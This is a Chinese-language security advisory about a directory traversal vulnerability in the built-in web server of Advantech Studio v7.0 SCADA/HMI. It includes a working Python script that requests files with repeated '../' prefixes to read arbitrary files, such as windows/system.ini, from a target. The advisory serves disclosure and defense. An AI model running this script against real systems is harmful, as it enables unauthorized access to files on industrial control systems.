安全研究

安全漏洞
Advantech Studio v7.0 SCADA/HMI 'NTWebServer.exe'目录穿越漏洞

发布日期:2012-12-04
更新日期:2012-12-11

受影响系统:
Advantech Advantech Studio 7.0
描述:
BUGTRAQ  ID: 56871
CVE(CAN) ID: CVE-2013-1627

Advantech Studio是开发运行在Windows NT/2000/XP和CE.NET上或Internet/Intranet环境中的HMIs、Supervisory控件和SCADA应用程序所需的工具集。

Advantech Studio v7.0 SCADA/HMI内置的Web服务器NTWebServer.exe用于提供基于Web的管理系统。由于该程序sub_401A90函数在把路径参数传递给CreateFileW函数之前没有对请求的URI进行合法性检查,导致远程攻击者可在请求的URI中添加如../的字符串以穿越目录,从而可访问其它目录未授权的文件。

<*来源:Nin3
  
  链接:http://www.exploit-db.com/exploits/23132/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

import argparse
import httplib

MAX_NESTED_DIRECTORY = 32

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-d')
    parser.add_argument('-p')
    parser.add_argument('-f')
    args = parser.parse_args()
    if args.d == None or args.p == None or args.f == None:
        print "[!]EXAMPLE USAGE: traverse.py -d 127.0.0.1 -p 80 -f windows/system.ini"
        return
    httpConn = httplib.HTTPConnection(args.d, int(args.p))
    for i in xrange(0, MAX_NESTED_DIRECTORY):
        temp = MakePath(args.f, i)
        httpConn.request('GET', temp)
        resp = httpConn.getresponse()
        content =  resp.read()
        if resp.status == 404:
            print 'Not found ' + temp
        else:
            print 'Found ' + temp
            print'------------------------------------------'
            print content
            print'---------------------------------------EOF'
            break
        
    
    
def MakePath(f, count):
    a = ""
    for i in xrange(0, count):
        a = a + "../"
    return a + f

if __name__ == "__main__":
    main()

建议:
厂商补丁:

Advantech
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://webaccess.advantech.com/product.php

浏览次数:4411
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障